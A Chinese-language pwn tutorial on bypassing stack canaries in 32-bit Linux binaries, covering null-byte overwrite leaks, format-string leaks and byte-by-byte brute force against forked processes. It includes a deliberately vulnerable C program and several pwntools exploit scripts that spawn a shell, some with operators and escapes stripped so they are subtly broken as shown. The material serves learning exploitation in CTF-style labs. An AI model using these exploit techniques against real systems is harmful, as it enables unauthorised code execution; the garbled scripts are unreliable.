原理
由于cannery保护就是在距离EBP一定距离的栈帧中,用于验证是否程序有构造缓冲区的危险。而cannery所在的位置一般也都在EBP-8的位置上存储着,因此 只要有机会泄露cannery的位置,我们便有机会溢出程序
泄露方式
覆盖00字节读取
原理
由于canary是在栈中的,而一般情况下为防止read、printf等函数直接读出canary的数据,canary都是以x00
为结尾设计的。这时我们可以利用换行符在将buf填充满之后会将x0a
覆盖至canary结尾的x00
覆上,这样就能顺利的读出canary的数据了,之后再将cannary
-x0a
即可得到真实的canary的数据
利用条件
- 存在
read
/printf
等读出字符串的函数 - 可以两次栈溢出
- 第一次是覆盖00字节,泄露canary
- 第二次是利用canary进行攻击
示例
代码语言:javascript复制//gcc a.c -no-pie -m32 -fstack-protector -z noexecstack -o a
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
system("/bin/sh");
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void vuln() {
char buf[100];
for(int i=0;i<2;i ){
read(0, buf, 0x200);
printf(buf);
}
}
int main(void) {
init();
puts("Hello Hacker!");
vuln();
return 0;
}
buf的大小在100字节,但是在canary保护下当输入的数据超过100字节后就会触发canary,不过当我们正好输入100个字符时,末尾自动添加的换行符x0a
便会将canary末尾的x00
覆盖,这样的话,程序代码中的printf(buf)
就直接能将canary的内容读取出来了,之后再减去x0a,拿canary的值填充至栈中,即可绕过canary保护完成栈溢出。
可以看到蓝框中的便是canary,末尾已经被0a填充,此时的canary是可以被printf直接读出的。
代码语言:javascript复制#coding=utf-8
# from pwn import *
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = "debug"
sh = process("./cover_00")
elf = ELF("./cover_00")
padding = 100*"A"
sh.recvuntil("Hello Hacker!n")
sh.sendline(padding)
sh.recvuntil(padding)
canary=u32(sh.recv(4))
canary = canary-ord('n')
#由于canary的最后两字节被buf的换行符oa所覆盖,这里要减去才是真正的canary
success("Canary data => 0x%x",canary)
payload = padding
payload = p32(canary)
payload = "distance" #距离EBP的位置
payload = "ERet" #EBP的ret
payload = p32(elf.sym['getshell'])
sh.sendline(payload)
sh.interactive()
格式化字符串读取
原理
利用格式化字符串漏洞的任意读
由于canary的最低字节是0x00,所以不能用%s的格式当作字符串来读,而应该使用%p
或者%x
等当作一个数来读
条件
存在格式化字符串漏洞
示例
还是上面的程序,看源代码有print(buf)
一行出现了格式化字符串漏洞,我们可以试着多打印一些地址的内容,找末尾始终为00的一串数据
在第31处便是我们要寻找的canary了,可以使用1$p
直接打印出来,之后的步骤同上一方法。
# coding:utf-8
from pwn import *
context.terminal=['tmux',"splitw","-h"]
context.log_level='debug'
sh = process("./cover_00")
elf = ELF("./cover_00")
payload1 = '%' str(31) '$' 'p'
sh.recvuntil("Hello Hacker!n")
sh.sendline(payload1)
sh.recvuntil("0x")
canary=int(sh.recv(8),16)
success("canary => " hex(canary))
payload2 = "a"*100
payload2 = p32(canary)
payload2 = "b"*8 "b"*4
payload2 = p32(elf.sym['getshell'])
sh.sendline(payload2)
sh.interactive()
One by one 爆破猜解
原理
对于canary,虽然每次进程重启后canary会不同,但是同一个进程中的不同线程的canary却是相同的,并且通过fork函数创建的子进程中的canary也是相同的,因为fork函数会直接拷贝父进程的内存
最低位为0x00,之后逐位爆破,因此32位的话要循环3次、64位的则需要循环7次,每次从ascii码中取。
如果某一位爆破成功 如x00xXX
将会覆盖当前的canary末尾的这两位,使之程序认为这便是原有的canary,所以程序会继续运行,反之则会报错,由此来判断是否爆破成功(这里 愚钝的我思考了很久很久…)。
利用条件
要求程序中有fork
函数,可以使程序扩展子程序
示例
blasting_canary
IDA打开可以看到程序中有一个fork()函数再一直创建子程序, 基本步骤和上面一样,先填充100个字符占满buf之后我们一一尝试canary的前三个字节,利用不成功则崩溃的原理,我们可以写个循环挨个尝试每一位
代码语言:javascript复制from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
sh = process("./blasting_canary")
elf = ELF("./blasting_canary")
sh.recvuntil('welcomen')
canary = 'x00'
for k in range(3):
for i in range(256):
print "------------- No." str(k) ":" chr(i) " -------------"
sh.send('a'*100 canary chr(i))
recv = sh.recvuntil("welcomen")
print recv
if "sucess" in recv:
#当前字符i传入程序后可以接受到程序正常的反馈信息,则代表正确
canary = chr(i)
#将其加入已知的canary中,继续爆破下一位
success("canary =>" canary)
break
getshell = 0x0804863B
payload = 'A' * 100 canary 'A' * 12 p32(getshell)
sh.send(payload)
sh.interactive()
模板
代码语言:javascript复制#coding:utf-8
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
bin_elf = "./blasting_canary"
#global sh
sh = process(bin_elf)
elf = ELF(bin_elf)
def blasting(offset,input_prompt):
#偏移量,输入提示,正确提示
sh.recvuntil(input_prompt 'n')
canary = 'x00'
for k in range(3):
for i in range(256):
success("Canary ->" canary)
print "n------------- No." str(k) ":" chr(i) " -------------"
sh.send('A'*offset canary chr(i))
recv = sh.recvuntil(input_prompt "n")
print "----" recv
if "stack smashing detected" in recv:
continue
else:
#当前字符i传入程序后可以接受到程序正常的反馈信息,则代表正确
canary = chr(i)
#将其加入已知的canary中,继续爆破下一位
success("Canary =>" canary)
break
return canary
canary = blasting(100,"welcome")
payload = 'A' * 100 canary 'A' * 12 p32(0x0804863B)
sh.send(payload)
sh.interactive()
学习参考
https://blog.csdn.net/chennbnbnb/article/details/103968714 https://blog.csdn.net/AcSuccess/article/details/104119680?utm_medium=distribute.pc_relevant_t0.none-task-blog-blogcommendfrommachinelearnpai2-1.nonecase&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-blogcommendfrommachinelearnpai2-1.nonecase https://www.52pojie.cn/thread-932096-1-1.html